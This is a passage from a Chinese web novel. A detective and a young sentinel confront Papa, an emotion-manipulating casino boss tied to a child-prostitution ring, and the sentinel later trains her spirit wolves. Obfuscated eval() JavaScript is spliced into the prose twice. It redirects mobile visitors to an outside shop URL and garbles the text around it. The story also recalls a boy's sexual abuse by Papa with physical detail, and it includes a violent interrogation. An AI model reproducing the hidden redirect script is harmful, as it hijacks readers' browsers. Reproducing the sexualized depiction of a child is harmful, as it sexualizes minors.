“就像刚刚的这群人里,有人怀疑我,有人敌视我,还有人畏惧我,但最后留在他们大脑里的情感,都只有信任一种。同样,如果有客人起了矛盾,或者有赌徒闹事意图伤人,我也可以让他们快速冷静下来,忘记所有攻击性的情感——这就是为什么我能得到这份工作。” 秘书鸟漆黑的眼珠空洞得吓人,反倒让Papa带上笑意的语调听起来毛骨悚然:“这一点,你应该是最清楚的吧,我亲爱的罗亚利。” “啊……那还真让人怀念,Papa已经很久没有和我这么玩过了吧?” 罗亚利调笑道,藏好情绪,只露出一种介于纯真和诱惑之间的微笑。他倒是宁愿这男人喊自己“基路伯”,那样的话他就依然只是一个平平无奇的高价玩具,而非赌场主管的眼中之钉。但他知道,现在再想要男人忘记自己的名字已经不可能了。 “难道Papa对我失去兴趣了吗?”男孩拨弄着自己的耳钉,仰视男人的紫色眼眸瑰丽如梦,“您为什么不像过去那样,干脆把我的情感也用’信任‘覆盖掉呢?” “覆盖”是男孩的一种揣测,用以描述Papa的所作所为。 罗亚利对共感者的能力一知半解,只知道向导能感知和影响目标的情感。但他无数次回忆起他和Papa的第一次见面,自己灵魂就像被一张湿热的白布紧贴着覆盖,外界的一切被残忍地隔离,他孤身一人从内里开始燃烧。 他记得Papa的手掌打开他颤抖的腿根,记得那在自己腰间留下的青紫掐痕像是某种怪诞而艳丽的纹身。他感到无助,感到厌恶,感到害怕,整颗心脏中盈满了尖叫和哭泣,但它们都被压缩得很小很小,小到他在数年内一次次撕开自己,挖开血肉,才最终发现,自己当初原来是如此痛苦。 这就是Papa能做到的事情,也是最恐怖的事情——当一切发生时,罗亚利以为自己是开心的。红发的男孩用苍白的臂膀抱紧男人,像小猫一样蹭在对方颈窝,那纹在Papa脖颈上的骷髅高高在上,对他冷眼相望。他那时第一次来因珀瑞恩这么漂亮的地方,心中难免有那么一点点的雀跃和好奇。而见到Papa的那一刻,这雀跃与好奇便膨胀成了混沌的漩涡,旋转着,扭曲着,覆盖过其他的一切感情,使他在男人将他压到时,依然顺从地微笑。 “呵呵……”在最前方,Papa本人轻笑起来,笑声却带着愠怒,“我那时还不了解你,我狡猾的小狐狸。现在我才发现,你真实的惶恐比你听话的样子更让人喜欢。” “你回来干什么呢,罗亚利?还带着两个危险的家伙。”秘书鸟再度开口,它凑得及近,脖子转过了九十度,像是根折断的手杖,喙几乎要扎进男孩的眼球,“因珀瑞恩好几年没出过这样的乱子了。荷官被打,大堂停运,数十位客人不得不转移区域,而这位漂亮的小姐,她打碎的玻璃可是有百年历史的古董!你一向聪明,我不觉得你是那种得寸进尺的傻孩子。我们都不喜欢鱼死网破的结局,所以你一定能给出一个合理的理由,对吗?” “……”罗亚利舔了一下嘴唇,湿润的舌尖晕散了没掉干净的口红。他想:果然Papa不知道我为何而来,所以大叔说派来警司的“那个人”在隐瞒艾兰的事情,这是真的。 那么—— “艾兰那小子出了点事,引来这两个警局的家伙。”像是扔开了一副碍事的面具,男孩说话的方式忽然变了,用词不再装乖,声音也慵懒而薄情,“他们查到了艾兰的童妓身份,再查下去就要到这边了,所以我扯了一堆有的没的先把他们骗过来了——反正您都能控制得住他们。两个擅闯赌场的暴徒处理起来可比一队拿着合法调查令的警员要简单吧?” “你的意思是,你是为了赌场这么做的?”Papa回过头来,假面般的礼貌和眼里的狠戾交织在他的侧面,“噢,罗亚利,我知道你可不是什么忠于天堂的天使,你没必要用冠冕堂皇的理由来糊弄我。” “我看您也是在装糊涂,不是吗?我从没说过我是为了赌场。‘基路伯’的事情暴露了,对我们都没有好处。您的产业要是大受打击,我也会被调查。”男孩坦然地说,“至少在这件事上,您清楚我们是绝对的共同体。” “是吗?”Papa说,却并没有期待罗亚利回答。他悄无声息地伸出精神触须探查,反馈回来的感知告诉他:‘罗亚利不希望事情暴露’的感情,千真万确。 “呵呵……果然,你是一个坏孩子啊,罗亚利。” Papa说道,倒是放心下来。他的确了解罗亚利,所以才知道这样的坏孩子,在有所图谋时反而是最可信的。 与此同时,另外两人身上开始萌芽出抵抗和敌对。 但Papa说:“别紧张,两位。虽然你们对赌场有所威胁,但我并没有把你们视为敌人。您瞧,我刚刚亲自阻止了安保对你们的攻击,所以放心地随我来好吗?” 是这样吗?但他的确没有让安保们开枪……?一丝的迟疑后,‘放心’这个词语像一个齿轮悄无声息地被塞入,改变了思维的方向。 “……好。” 于是Papa知道,他再次得手了。秘书鸟的眼睛在两人之间梭巡,他的精神触须告诉他,这两个人所有负面的情绪都再次枯萎,被无限放大的‘信任’掩盖了。 红琉璃穹顶大堂的北方,有一扇漂亮的门。 它通常上着锁,没人注意它,也没人知道它通向哪里。 Papa带着三人穿过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356957|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走廊,尽头竟然真的如他所说,是一间私人的套间。房间里贴着复古的印花墙纸,铺着柔软的地毯。房间中央是沙发和茶几,一张办公桌摆在更里侧,正对墙上用风景画和铁艺窗框伪造的阳台。 “我以为您会带他们去个更阴森的地方。”作为唯一还有能力质疑的访客,罗亚利有些意外,“赌场里有传闻,HighLimit区把一整个欧洲宫殿都搬进了大厦里,当然也包括审问出千,诈骗和盗窃犯的地牢。” “既然我说了要带两位来我的私人办公区域,当然说到做到。” Papa对那两个危险分子彬彬有礼地解释,没理会罗亚利。这普通的小孩什么都不知道。环境能够对向导发挥能力起到增幅作用,进一步瓦解目标的抵抗,这套间就是为了发挥Papa的能力而专门布置的。 它按照巴黎丽兹酒店最豪华的房间装饰,连地毯都散发着让人放松的芳香,只是看着就让人觉得舒适——但有一点,罗亚利说得对。 这里确实是‘地牢’。 赌场不是审问和处决的地方,这里才是。那些安保们搞不定的家伙,都会被Papa带到这里来处置。谁能想到,‘天堂’最强大的防线不是哨兵,而是一个向导? 作为向导,Papa的审问从不靠暴力运作。浑浑噩噩的目标们在秘书鸟的注视下,不知不觉间就会将自己的所作所为全盘托出。至于之后喊来附近在第一梯队任职的哨兵,把目标用私刑处理掉,那就不是Papa应该亲手去做的事情了。 “让二位一直站着实在不是待客之道,但请稍等一下。” Papa走到办公桌边,没拉开椅子,倒是翘着腿坐在了桌面上,居高临下的样子像是个统治者。 他问那少女:“小姐,您的名字是?” “……莱蒂斯。” “啊,莱蒂斯,Lettice,Letitia的变体,意思是‘joy’……小姐,您的家人用名字祝愿您快乐。”Papa看着少女因自己的声音而放空的眼睛,‘家人’的话题触发了她温馨的情感,而他敏锐地捕捉到了它。他只是说‘莱蒂斯小姐,靠过来一些好吗’,少女便像是个面对长辈的乖孩子一样来到了他跟前。 男人低下头,温和地说:“您是个好孩子,我知道的。我想和您好好聊聊,但您很强,强得有些危险了……为了我们彼此都好,您先看着我,好吗?” 另一侧,他反手拉开办公桌下的抽屉,取出一支针剂来。 “先生,接着。” Papa将针剂抛给那个被他控得死死的风衣男,他甚至没兴趣问他名字。 “我们会给您注射一支感官抑制剂,当然,这件事会由您的同伴来完成,您可以完全放心。” 他安抚地对莱蒂斯说。还没赶到红琉璃大堂的时候,他已经探知过了这少女的情感,她信任和关心这个男人,他可以确定,而恰好,他也不敢轻易自己动手。 他压制了所有安保的情绪,让他们放下枪,以求得她的一丝‘信任’之情,他放弃控制罗亚利的情感,尽管他口头上声称自己只是喜欢看罗亚利惴惴不安,而他也再三确认过,自己的确是控制住了这个女孩的情绪—— 但他莫名地的不安。 这女孩的战斗力很强,但Papa知道,她的古怪之处不仅于此。在看到她的第一眼,一种陌生的波动从Papa意识深处一闪而过。它几不可见,如同一个鬼魂,一个午夜梦回的幻觉。人在回头时才发现背后空无一物,徒留的一点寒意也很快消逝在晨曦。 但Papa是一个强大的,谨慎的向导,他不会无视自己的异常。所以为了保险起见,还是让那家伙来吧,一切都要等抑制了这女孩的共感力之后再说。Papa想着,他一手轻轻撩开少女的长发露出她腺体,对风衣男勾勾手:“过来,把那针药剂注射进她腺体里。” 罗亚利不知为何散发出了紧张的感情,男人却乖乖上前了。他沉默了一路,终于在举起感官抑制剂之后张开了嘴。Papa想,他应该是想应一声好。 然后男人说:“差不多得了,把你的手从我哨兵身上拿开。” Papa猛地抬头,这才注意到,平光镜背后,男人的眼睛灿若黄金,里面浮动的分明是嘲讽和轻蔑,哪有半点对自己的‘信任’。 “罗亚利之前一直说你能控制人的思维和行为,让我们小心,我还以为你有多厉害呢。合着只是通过抑制他人的负面情感,放大他人的正面情感来让别人失去和你敌对的动机,再加以操纵。” “连罗亚利真假参半的‘理由’都能把你骗过去,你也不怎么样啊。哎,也就是莱蒂斯还不熟练,不能像我一样能毫无破绽地假装被控,只能真的冒险接受你的操纵来让你放松警惕了。” 男人弯起嘴角,把小姑娘拉进了自己怀里,游龙般的一串金色盘绕着两人,他们像身处一条燃烧的星河。他单手捂住少女暂时失神的双眼,眼中的金光愈演愈烈,精神共鸣的力量在他们相连的身体里回响,如同教堂顶上传出的钟声: “莱蒂斯,醒醒。我们现在和这家伙在没有监控的区域独处,该你出手了。” 他直视着Papa,微笑着移开右手。魔术般地,他就这么从一个高级向导的控制里唤醒了一对墨绿与金黄混杂,熠熠生辉的,狼的瞳孔。 68. 第六十七章 “没事,Papa交给我来应付就行。” 去找荷官之前,尼尔森如是说。 “交给你才会有事吧,你到底行在哪里了。” 刚绘声绘色警告了二人Papa有多厉害的罗亚利抱起手臂。比起嫌弃尼尔森,更像是因为害怕Papa而下意识的自我保护: “虽然不是很懂你们向导是怎么用能力的,但你连入侵我这种小孩都得我主动配合,要怎么对付Papa?他曾经硬控过一场波及整个□□区的混乱,出千引发一切的那个团伙还在他的控制下乖乖被挨个剁了右手。听说他们满脸都是眼泪和自己的血,看起来却好像不知道自己为什么会哭。” “哦。”尼尔森对剁手不以为意,这事儿他以前也能做到,甚至还能更狠,所以没觉得有多稀奇,“他能控制人就让他控呗,反正也控不住我,我开个情感隔断就能糊弄过去了。你们的话,要是中招了就当补觉吧,我会提供叫醒服务的。” “……” 罗亚利能从尼尔森脸上看出这人不是在逞能,而是真的很自信。 这下更不靠谱了。 男孩于是转向认真严肃的莱蒂斯:“莱蒂斯小姐,在见到Papa之前,我们必须找出避免控制的办法,不然……” “没关系,我们不能再耽误时间了。”然而一向可靠的莱蒂斯小姐平静地回答,“如果真的被控制了,尼尔森会帮忙的。” “可是……” 罗亚利话到嘴边,看见尼尔森偏过头来,挑眉示意:别可是了。她信我。 这家伙是在炫耀什么……男孩的表情僵了一下。莱蒂斯注意到了,只以为罗亚利是不放心尼尔森的行事,一本正经地解释道:“罗亚利,我理解你的顾虑。尼尔森他确实嘴贫,散漫,战斗力比绵羊还弱,不正经还爱耍小聪明……” 她说一个词,罗亚利就点一下头。尽管就他目前的观察而言,这个大叔的问题可不止这么点,可最终,他在莱蒂斯翡翠一样的眼里看到的,却剔透的,笃定的信任。 她说:“但他的确有能力唤醒我……他已经帮过我很多次了。” 她记得在货轮的暴走,记得在河畔的绝望,还有从昏迷中惊醒时几乎麻木的痛苦,而尼尔森一次次指引她从其中找到出路,就如同深海中离翼水母旋回的光。 所以,莱蒂斯的想法简单直接——既然尼尔森说他会唤醒她,那么她将毫不畏惧地踏入一个强大向导的陷阱,冒着失去自我的风险来欺骗对方放松警惕。 这少女根本没有过一丝的犹豫和退缩。她愿意为了艾兰和罗亚利这么去做,而尼尔森……即使将灵魂置于险地,她也相信尼尔森会带她离开。 她不知道这是多么单纯,多么危险的信任,也不知道这情感已然被尼尔森所感知,近乎灼烧地刺激着向导的知觉。这没被当作哨兵养大的少女当然不清楚,就算是已结合的哨兵向导,都不一定能如此完全地将自己交给对方,而侦探又心知肚明,自己所谓的‘唤醒’绝非一种温柔的能力。 他只是自信有比那个所谓的Papa有更强的控制力——Papa能扼制人在被砍手时的反抗情绪,尼尔森的认知误导则能控制人自己砍下自己的手臂。如果莱蒂斯在对方的影响下出现异常,尼尔森也能控制她强行摆脱。 当然,也能借机接管她的所听所感,她的所行所观。 可一个能和自己精神共鸣的哨兵传递来的情感太直接了,尼尔森把屏障拉得再高也没用。它像一道流星的长河在他漆黑的世界里滑过,璀璨得刺眼。他知道莱蒂斯怀疑他的过去,奇怪他的经历,但少女的情感干净得根本毫无防备——她只是纯粹地相信,尼尔森不会伤害她。 会不会伤害,尼尔森自认为还没有准信。但是至少今天,莱蒂斯不会对他失望。 一个向导自然不允许让任何人染指他的哨兵。 更何况,他们的精神共鸣足以打破任何东西。 于是时空仿佛停滞了,空气都凝结成晶莹的固态。Papa什么都没来得及做,只觉得随着那墨绿的双瞳聚焦而来,一切又骤然破碎崩裂。接踵而来的是风,是眩晕和疼痛,他感到自己仰躺在桌面,喉咙传来窒息的压迫。 前一秒还对他言听计从的莱蒂斯单手掐着他喉间的骷髅,单膝跪在桌上,以捕猎者的模样低头看着他。 “回答我的问题,”她面无表情地说,“艾兰上一个客人是谁?” “啊……呵呵……” Papa仰面与莱蒂斯对视,咽喉的震动像是某种钻入皮下的生物传入莱蒂斯手臂。秘书鸟因为扼喉的共感而溺水般仰头张嘴,却依然保持着踱步的频率——很显然,它的主人习惯应对意外,并对此波澜不惊。 “看来艾兰那孩子遇上的事情,可不止罗亚利说的那么轻描淡写……好吧,你们一开始和他就是合作关系,我也不那么意外。可他又跟你们说了什么呢?那会是全部的实话吗?好孩子,你真的信他不会把你们卖了吗?” 男人对莱蒂斯弯起眼睛: “您知道吗,莱蒂斯小姐,当我控制住你们的时候,罗亚利是真的非常担心。但他没有担心你们,他在担心自己。” “我是一个向导,一个赌场的管理者,我不那么容易被欺骗。那句‘骗你们来赌场’是不是谎言,他没表现出心虚,我也就无从分辨,可他‘自保’的执着,却是我真实感知道的情绪,因此我才相信,他是要出卖你们换取自己安全。” “他那半真半假的谎言里,到底哪部分是真的?问问他吧,莱蒂斯小姐。问他:如果你们没能挣脱我的控制,他是否就真的打算任由我处置你们,延续那个胡扯的谎,来换取自己的平安?” 秘书鸟的目光仍在逡巡。它有着得天独厚的敏锐视力,在自然界,它能凭此定位蛇类的每一个动作,在人的大脑里,它能借此捕捉所有一闪而过的情感。 莱蒂斯是一个对向导没什么经验的共感者,Papa能看得出这点,所以他知道,莱蒂斯应该也和很多人一样,不明白‘情感’和‘想法’的区别。 他非常清楚要怎么对付她。 Papa可没骗她,他一句谎话也没说。他只是没告诉莱蒂斯,罗亚利‘自私’的担心也可以解释为,他相信另两人的计划,所以只在担心自己没办法骗过Papa;他‘自保’的执着也可以解释为,他在屡次控制和伤害过自己的Papa面前条件反射地恐惧,因此想寻求安全感。 向导不会读心,但Papa可以仗着对情感的感知,有理有据地恶意解读罗亚利正常的感情,而只要莱蒂斯有一瞬的怀疑,他就会将它放大。他不怕另一个向导,毕竟术业有专攻——他太擅长这个了,在对方出手干预之前,他就能让一切覆水难收。 可反馈到他精神触须来的,只有利刃般的刺痛。 “你话很多。你没发现吗?你没有那么多时间说废话了。”一丝怀疑都没产生的莱蒂斯冷硬地说,收紧了Papa脖子上的力道,“艾兰的上一个客人,是谁?” 啊……原来是这样。这种人真不好对付……或者说,这种单纯的好人更好对付。 Papa因此笑道:“哦,小姐,那是一位非常富有,身份显赫的先生。而且据我所知……呵呵,他最近心情一直不太好。” “……咯吱。” Papa那说八卦的语气让莱蒂斯不满,他轻描淡写的态度几乎是一种轻蔑,于是莱蒂斯将另一只手抬起,把男人的脑袋侧按在桌上。 “给我他的名字。” 这次她没有身穿防护服,如果因为暴力审问而沾上血,离开时会很麻烦,所以,莱蒂斯一边说着,一边将拇指按进了男人的眼窝。 “不然我就捏碎你的眼球。” “真的吗?您想要那个名字?”可伴随着指尖黏腻的触感,Papa的眼睛反而转过来,追着她看,“这名字会让我们都陷入危险。我会因为背叛赌场和顾客而被处刑,你们则会被灭口,这样有意义吗?” Papa的眼球开始充血。生理性的泪水划过他脸颊,他的声音让人毛骨悚然:“您到底想做什么呢?讨回公道,还是拯救他们?可就算您救了‘基路伯’中最蠢的一个和最坏的一个,又能怎么样呢,这门生意已经运转太久了——满十四岁后的‘基路伯’们会被转手给黑手党的妓院。在您来到这里之前,已经有不知道多少离开了因珀瑞恩这个天堂的小天使在虐待和性病中死去……” “嘘……” 一阵刺痛在Papa后颈处升起。秘书鸟的踱步停滞,Papa猛地睁大了眼睛。 “别折腾了老兄,还惦记着你那套情感操纵吗?激怒她然后放大她的情感让她失去理智可是下下策啊。”不知什么时候绕到桌后到尼尔森一边把感官抑制剂注射进Papa的腺体,一边笑道,“好了,接受现实吧。没你耍花招的份儿了,我们都知道这东西有多好用。” “……” 被看穿的PapaI表情阴冷下来。 该死的,这个男人竟然把只用在下贱穷鬼身上的药剂扎进了自己腺体里。 还好,他要做的事情已经完成了。 误导也好,激怒也好,能成功的话自然皆大欢喜。但Papa真正在做的事情,其实是转递信号。 蛇鹫的踱步是一种特别的技能,它们使用这种灵活的步伐迷惑蛇的方向感,将其困于自己脚下。Papa的秘书鸟对此一脉相承。当它踏步时,他人的情感也会被牵动,而对Papa手下的哨兵们而言,这脚步声会传来精神层面的震动,在那其中,是Papa向他们传出的讯息。 “去控制‘十点半’区的混乱”、“我在自己的办公室”、“目标已经被我控制”、“来把目标带走处理掉”,以及,“我有危险”。 这是Papa呼唤手下哨兵的方式,范围能遍及整个因珀瑞恩。他因此根本不怕眼前三人会真的威胁到自己。他们自以为Papa在一个没有监控的地方与他们独处,可事实上,Papa的位置和处境,第一梯队的哨兵们一清二楚。 Papa的办公室有好几扇门供他们突围,而为了保证自己的安全,这里还设置有逃生的密道,哪怕这里真的发生火并,他也能及时离开,全身而退。 但有什么不对。 Papa蹙眉。 有什么不对,而他不知道那是什么……是时间过得太久?哨兵们来得太慢?还是蛇鹫刚才踱步时,他感到自己传递出去的波动,只是在石窟般的空洞里回响? 算了,无所谓。Papa有些辛苦地呼吸。只要哨兵队赶得过来就行。眼前这三人手中没有热武器,根本没办法—— “啪。” 尼尔森从风衣里掏出把格/洛/克,拍在桌上。 懵逼的Papa:“?” 惊喜的莱蒂斯:“?” “之前捡的,那些安保的枪满地都是,有包不舔王八蛋嘛。”尼尔森对眼前一亮的莱蒂斯解释,“这家伙散发的情感还挺自信的,好像觉得我们奈何不了他一样,还是得让他搞清楚自己的处境才行。” “啊对了,虽然眼球里主要是玻璃体的无色液体,但强行捏破还是会溅血的。”尼尔森说着,又贴心地从Papa的抽屉里取了一支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356958|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感官抑制剂,掰开莱蒂斯按着Papa眼窝的手,温柔地递给她,“还是用这个直接扎进去把他眼球组织捣烂至盲比较稳。” “唔……谢谢。”莱蒂斯说,两个向导连带一个很会察言观色的小孩都知道她是真的在谢,就像在修一台机器时有人给递上了一把趁手的扳手。 “……”马上就要被修理的Papa当机立断开口,“小姐,您听我说——” 他没能说完。 因为下一秒,他突然从莱蒂斯眼前消失了。 毫无预兆,毫无警告,莱蒂斯的所有感官都没有任何反馈——她的眼前,忽然只剩下一张干净的办公桌。 机敏的少女难得愣住了。她下意识将感官覆盖全屋,可这里的一切如常得让她眩晕…… “莱蒂斯!前面!”尼尔森的声音如同惊雷将她惊醒,莱蒂斯猛然抬头,看见那扇用风景画和铁艺窗装饰成假阳台的墙无声分裂为两半,露出一条密道。 密道里一片漆黑,什么也看不清。罗亚利对着密道惊呼:“Papa被拖走了!” “砰——”莱蒂斯当机立断抄起格/洛/克,对疑似有人的方向开枪,但她没听见中弹的声音。 不对。 是除了枪声,她没有听见还有‘别人’在行动的声音。 “救兵吗?尼尔森,跟我……”少女下意识地呼唤自己的搭档,却突然意识到,这次并不是他们两个人的冒险—— 罗亚利不能一个人留在这里。 “尼尔森,跟罗亚利待在一起,我去追Papa。”莱蒂斯改口。她带着枪和感官抑制剂翻身跃过办公桌,像一道挥出的凌厉刀光冲进密道,只留下这么一句话: “别担心,我会守着你们的。” 那一瞬间,她绿眼睛燃烧起磷火的光。 “莱蒂斯小姐,等等——!” 等罗亚利伸出手时,少女早就跑不见了。 “该死的……为什么会……”男孩倒退一步,拽紧自己袖口,却依然死死盯着密道。 “唉,居然把我扔下了。”尼尔森倒是淡定,“好吧,现在就剩下我和你了,真是我最不想遇上的情况。” “问题不是这个吧大叔。”罗亚利嘲讽道,声音却还有些发颤。 他看得出来,而他相信尼尔森也感觉得出来: Papa被拖走时,散发的情感根本不是终于得救的放松,而是出乎意料的惊慌。 所以到底是谁带走了他?莱蒂斯要怎么办?他们又该怎么办? “走。” 尼尔森说。 “去哪里?”罗亚利问,他知道Papa的办公室不算是安全,但他想不出有什么别的地方可去。 “除了这里的任何地方。罗亚利,你熟悉赌场,哪里人多,我们就去哪里。”尼尔森扶了下平光镜,“莱蒂斯去追的那家伙想干什么,我还不太清楚,但我还不至于蠢到在莱蒂斯离开的情况下,留在这种没用摄像头和人群的地方坐以待毙。” “别忘了,罗亚利,还有一个杀手想要在没人察觉的情况下,取你的命。” “可惜……”侦探有点欠揍地耸耸肩,从风衣里又摸出把格/洛/克,“我这儿的装备只剩一把了,你要不拿几只感官抑制剂自保吧?” “……” 尼尔森的态度反而让罗亚利求生的意志占据高峰。男孩深呼吸两次,强迫自己冷静下来。哭和害怕什么也改变不了,他比谁都清楚。于是下一秒,男孩找回自己的微笑。 “你不会以为就你捡了枪吧,大叔。”男孩嘲讽道,拉开卫衣的拉链将手伸进胸前,取出一把一模一样的枪:“走套间卧室那扇门,那边开门就是赌场走廊,不用走通道。倒是你,不如发挥一下你真正有用的能力,找一下有没有杀气冲着我们过来?” “看来你还有力气逃跑。话又说回来,要是我还需要你来提醒我做这事,那我就该退休了。” 尼尔森走到套间另一侧,将手放在罗亚利说的门把手上。 他早就降低了精神屏障,被动地接受所有情感信号。 但是不对,有什么不对。 作为顶级的向导,尼尔森的共感力相当敏锐,虽然降低屏障后的情感冲击让他头疼,但他没在赌场混乱的情绪中感觉到杀意。 问题是,在他们周围,他还感觉到了空洞。 一个人无论激动还是平静,总归都带有着所谓‘情绪’。但此刻辐射而来的东西就像是图画上被戳穿的一个破洞,一个用冰淇淋勺在人脑里挖出的缺口——那里什么都没有。 因为自己什么都没有,它开始拽着周围的一切下坠。尼尔森接收到的情绪都相当模糊,像是收音机里的杂音。他能力觉醒数十年,几乎没遇上过这种情况。 “罗亚利,”侦探说,“我开门,然后我们就跑。” “直接冲出去吗?你确定这样安全吗?”罗亚利握紧手里的枪,“可恶……要是莱蒂斯小姐真的还守着我们就好了。” “嗯哼,谁说她不在了?” “?” “哈哈……算了,别管了,反正你也看不见。”感知到罗亚利的困惑,侦探突然心情很好地笑了,“听好,罗亚利,不管门背后是什么,跑起来就行了!” 侦探一眨金色的眼睛,推开门,冲进了走廊里潮水般涌来的强光之中。 而随他一同奔跑进光明之中的,还有这世界上只有他的双眼能看见的奇迹,只有他能察觉的,永远相随的守护—— 两只巨大的北美灰狼就跟随在他和罗亚利身旁,那墨绿的眼睛和莱蒂斯一模一样。 69. 第六十八章 尼尔森再一次见到莱蒂斯的狼,是在两个月以前。 那时圣卢塞特的树叶还没落光,莱蒂斯右腿上的医疗辅助器械也还没拆。布列塔尼馑遵医嘱,明令禁止她参与工作,反而被尼尔森抓住机会,以复建为由带着她在圣卢塞特到处乱逛。 火荆棘帮的两个医生都勒令病号保暖,所以小姑娘不得不裹着蓬松的白色羽绒服出门。尼尔森帮她把围巾扎紧,埋住少女半张脸。莱蒂斯不开心地嘀咕: “在维克镇种地的人,要是穿这么厚,是会被嘲笑的。” 尼尔森穿着件棕色大衣在她旁边乐:“有人说过你这样看起来像戴伊丽莎白圈的小动物吗……嘶快停下你不能剧烈运动踢我也算——” 他抓着两个纸袋,腋下了夹份报纸,灵活地躲过了莱蒂斯不算认真的攻击。但这个年代早就不会有人看报纸了,所以等尼尔森溜达到一棵金色的树下,它就被展平铺在了地上。 他们坐在报纸和落叶被压碎的沙沙声上,精神共鸣平和地流转。有游手好闲的胖鸽子对纸袋虎视眈眈,那里面是打包的薯条汉堡,以前莱蒂斯吃不出味道的时候就很喜欢高热量食物带来能量的感觉,现在能吃出味道了,更喜欢了。 草地已经开始泛黄,像是沾染了落叶凋零的色彩。这个季节野餐的人不多,但莱蒂斯喜欢到公园来,因为大片的绿地让她想起家乡。可远处的金融城屹立就在奎茵河对岸,大片的玻璃映射出另一个刺眼的太阳,没人能无视它的存在,就像没人能彻底从圣卢塞特离开。 但尼尔森知道莱蒂斯虽然想家,却并没有想过要逃离这里。她还没有听见伦滋受处罚的消息,没看见赫夫迈家族因丑闻付出代价。布列塔尼也说,酒神节的事情还没结束。在被停职前,她神秘地告诉莱蒂斯,这是一场非常复杂,非常漫长的战斗,为了那个足以让受难者们安息的结局,他们还有很多事情要做。莱蒂斯从没怀疑过她的话,她只是不甘心自己一直养伤,什么忙都帮不上。 “其实吧,你思路可以不那么野蛮人的,一个人又不是非得去举铁练枪才能变强。”尼尔森叼根薯条对莱蒂斯说,莱蒂斯双手拿着汉堡在吃,只能瞪他一眼作为警告。尼尔森得寸进尺地笑了,却又认真地提醒她:“别忘了,你是一个哨兵,你还有精神动物呢。你现在不能乱跑,但可以让它们出来啊——记得我之前在船上跟你说过的狼吗?” “嗯?嗯……你说我们旁边有很多毛茸茸。”莱蒂斯眨眨眼,情绪亮了一下,又低落下去,“但我从没看见过它们,其他人好像也都看不见。我在住院时有试过召唤它们出来,可是没什么用,它们真的存在吗,还是只是你当时吓坏了……?” 她说起那群震慑了一船哨兵的猛兽就像说起一堆找不着的毛绒玩具,尼尔森嘴角一抽:“谁没事儿幻想自己被一群狼包围啊,而且我心理素质哪有那么差。你还没完全觉醒,而我是和你精神共鸣的向导,成为唯一一个能看见它们的人也很正常吧?说不定它们一直都在呢——真正的野生动物有更强的直觉,你没发现海鸥从来都不敢来抢我们的薯条吗?” 正巧有一只海鸥从他们头顶飞向奎茵河畔。住在靠内陆的农场的莱蒂斯好奇地抬头:“它们会吗?” “这问得就太见外了,它们简直是训练有素的劫匪。”尼尔森吃掉薯条,擦掉手上的盐粒,“让我想想……你的精神动物是在你听力屏障大幅降低后出来的,但那样精神负担太大,你也没必要一次性就喊出一大群来。” 他按住莱蒂斯的太阳穴,眼里亮起金色的光。 “精神动物是另一个我们。我们的另一双眼睛,另一对耳朵,我们的感官和它们天生同步。”尼尔森解说道,那不允许为他人所见的离翼水母瞬间将二人环绕,“虽然它们有时也会做出独立于我们的行为,但那都是出于我们潜意识的动机——” 话说到一半,离翼水母突然降下来,用发亮的顶端亲昵地碰了碰莱蒂斯鼻尖。 尼尔森:“……” 尼尔森用手指把它勾回来:“这个是风吹的,别管。总之你可以先试着削弱一点精神屏障,然后想象有另一个自己正在往更远的地方行走,想象你能够看到你看不见的地方有一片枯叶落地……” 一片落叶随着他的声音从天空落下。风太大了,它旋转着,像是一只挣扎的蝴蝶。 莱蒂斯看着它翻飞,然后闭上了双眼。 接下来三天,无论尼尔森在不在,莱蒂斯都在尝试这件事。第四天同样的公园里,有个带着自家兔子偷偷离家出走的小女孩弄丢了自己的小宠物,来求莱蒂斯帮忙。尼尔森很理解她,毕竟告别纯黑的穿搭之后,莱蒂斯看起来就是一个乖巧清澈的学生姑娘,怕生的小妹妹也愿意亲近她。 她们一起去了山下,留下堂堂侦探兼重罪犯的尼尔森在山坡上弯着腰打转。过了一阵莱蒂斯回来了,无奈地告诉尼尔森:“现在我开始相信我的身边有狼了。” 穿着白色羽绒服的少女头顶有一对白色的兔耳朵,尼尔森仔细一看,才发现那是只蹲在她头顶瑟瑟发抖的小兔。莱蒂斯说找到兔子后,不管是小女孩还是自己抱着它,它都想往更高处跳,就好像四周有什么天敌一样,最后莱蒂斯把它放在头顶,它才安静下来。 尼尔森看着莱蒂斯头顶一抖一抖的兔耳,一脸空白地凭本能举起手机拍了个照,这才想起一件更重要的事:山坡下的草丛比山顶旺盛太多,河畔的寒风和随处可见的松鼠又让哨兵的听力很难在广袤的草地上确认一只兔子的动静——他问莱蒂斯:“你是怎么找到的?” 莱蒂斯笑了。尽管表情幅度不大,她开心的情绪还是像液体的热巧克力在深秋注进尼尔森心脏。她说:“是我看见的。我感觉到树叶落地了。我感觉到……有另一个我在草地上奔跑。她比我跑得更快,直觉比我更敏锐,视角比我更低——然后,我就找到了兔子。” 他们给小女孩的家长打了电话,等父母千恩万谢将女孩和兔子都接回家时,冬令时的天早已黑透了。尼尔森真的去旁边餐车卖了热巧克力,帮着莱蒂斯将味觉调整到了正确的强度。莱蒂斯双手捧着杯子,一口口喝完了,却不想回去。 她的感官,她的狼,她的另一个自己,仍然在河岸和草地飞奔,无拘无束,蹑影追风。她虽然看不见狼,却看见了草丛从身旁掠过,对岸金融城的万千灯光融化在河流,狂风在耳边呼啸。 她已经很久没这么跑了。 